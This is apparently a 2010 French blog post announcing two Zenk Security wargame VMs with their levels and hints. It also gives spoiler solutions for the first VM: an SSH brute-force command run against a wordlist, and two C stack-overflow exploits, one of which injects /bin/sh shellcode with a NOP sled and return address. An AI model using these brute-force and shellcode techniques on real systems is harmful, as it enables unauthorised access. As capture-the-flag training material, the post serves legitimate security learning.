samedi 17 avril 2010

VM Zenk Security [Applicative] N°2

Bonsoir, voici enfin la seconde VM spéciale Zenk!

Vous êtes sensés l'utiliser en tant que black box, c'est à dire l'attaquer de l'extérieur, comme si vous n'y aviez pas accès physiquement.
La VM tourne sous VMWare.

http://www.megaupload.com/?d=4H5Q6RYB

Voila pour les infos:
[root@ZenkApp2 ~]# uname -r
2.6.32-ARCH

L'ASLR est activé, la pile est exécutable, les binaires sont compilés avec l'option -fno-stack-protector

Voici les instructions:

Serveur ssh port 22
- Login : user1
- Pass : user1

Level1
Objectif : Lire le fichier /home/user2/pass
Indice : http://www.milw0rm.com/papers/7

Level2
Objectif : Lire le fichier /home/user3/pass
Indice : http://crypto.stanford.edu/cs155old/cs155-spring08/papers/formatstring-1.2.pdf http://plasticsouptaste.blogspot.com/2010/03/format-string-par-lexemple.html (Han le mec qui se fait de la pub...) http://www-users.rwth-aachen.de/Tilo.Mueller/ASLRpaper.pdf

Level3
Objectif : Lire le fichier /home/user4/pass
Indice : http://www-users.rwth-aachen.de/Tilo.Mueller/ASLRpaper.pdf

Level4
Objectif : Lire le fichier /root/pass
Indice : http://www-users.rwth-aachen.de/Tilo.Mueller/ASLRpaper.pdf

Je rajouterais des indices si besoin est, n'hésitez pas à poser vos questions.

jeudi 8 avril 2010

VM Zenk Security [Applicative] N°1

Bonjour!

Comme certains d'entre vous le savent déjà, je fais partie de la communauté Zenk Security pour laquelle j'ai réalisé une petite VM de challenges applicatifs.

Rien de compliqué, c'est une Debian 3.1 basée sur un kernel 2.4.27.

Elle est disponible ici:

http://rapidshare.com/files/373125517/VMZenk_App1.7z

C'est une VM qui doit être attaquée de l'extérieur (comme si on avait pas d'accès physique à la machine).

Il y a un serveur ssh sur le port 22, et nous connaissons le nom d'un utilisateur: user1 .

Niveau 1
Objectif: Obtenir un accès user1 à la machine
Indice: Nous savons que c'est un mot de passe court composé de caractères seulement.

Niveau 2
Objectif: Obtenir un accès user2 à la machine
Indice: Aucun


Niveau 3

Objectif: Lire le fichier /root/yeah
Indice: Aucun

Et voici donc mes solutions (Attention spoiler:)

Level1:
root@bt:/pentest/passwords/brutessh# ./brutessh.py -h 192.168.0.17 -u user1 -d ../wordlists/darkc0de.lst


Level2
#include <stdio.h>
#include <string.h>

int main(void)
{
int nbnop=109;

char shellcode[] =
"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";

//Adresses de retour possibles (call *%eax):
// 0x80483bf
// 0x8048523
char retA[]="\xbf\x83\x04\x08";

char data[500];
char sysc[600];

memset(data,0,(sizeof(char))*500);
memset(sysc,0,(sizeof(char))*600);

int i=0;

printf("Prepare sc..\n");

strncat(data,shellcode,500);

printf("Prepare nop..\n");

for(i=0;i<(nbnop);i++)
{
strncat(data,"\x90",500);
}

strncat(data,retA,500);

printf("Prepare new eip..\n");

strncpy(sysc,"/home/user1/1 ",600);
printf("Prepare data..\n");

strncat(sysc,data,500);
printf("Try..\n");

system(sysc);
}


Level3
#include <string.h>

#define FILE_TO_READ "/root/yeah"

int main(void)
{
char junkdata[600];
char sysc[700];

printf("Prepare junkdata..\n");

memset(junkdata,0,(sizeof(char))*600);
memset(junkdata,0x41,(sizeof(char))*520);

strncat(junkdata,FILE_TO_READ,600);

printf("Prepare filename..\n");

strncpy(sysc,"/home/user2/2 ",600);

strncat(sysc,junkdata,700);

printf("Try..\n");

system(sysc);
}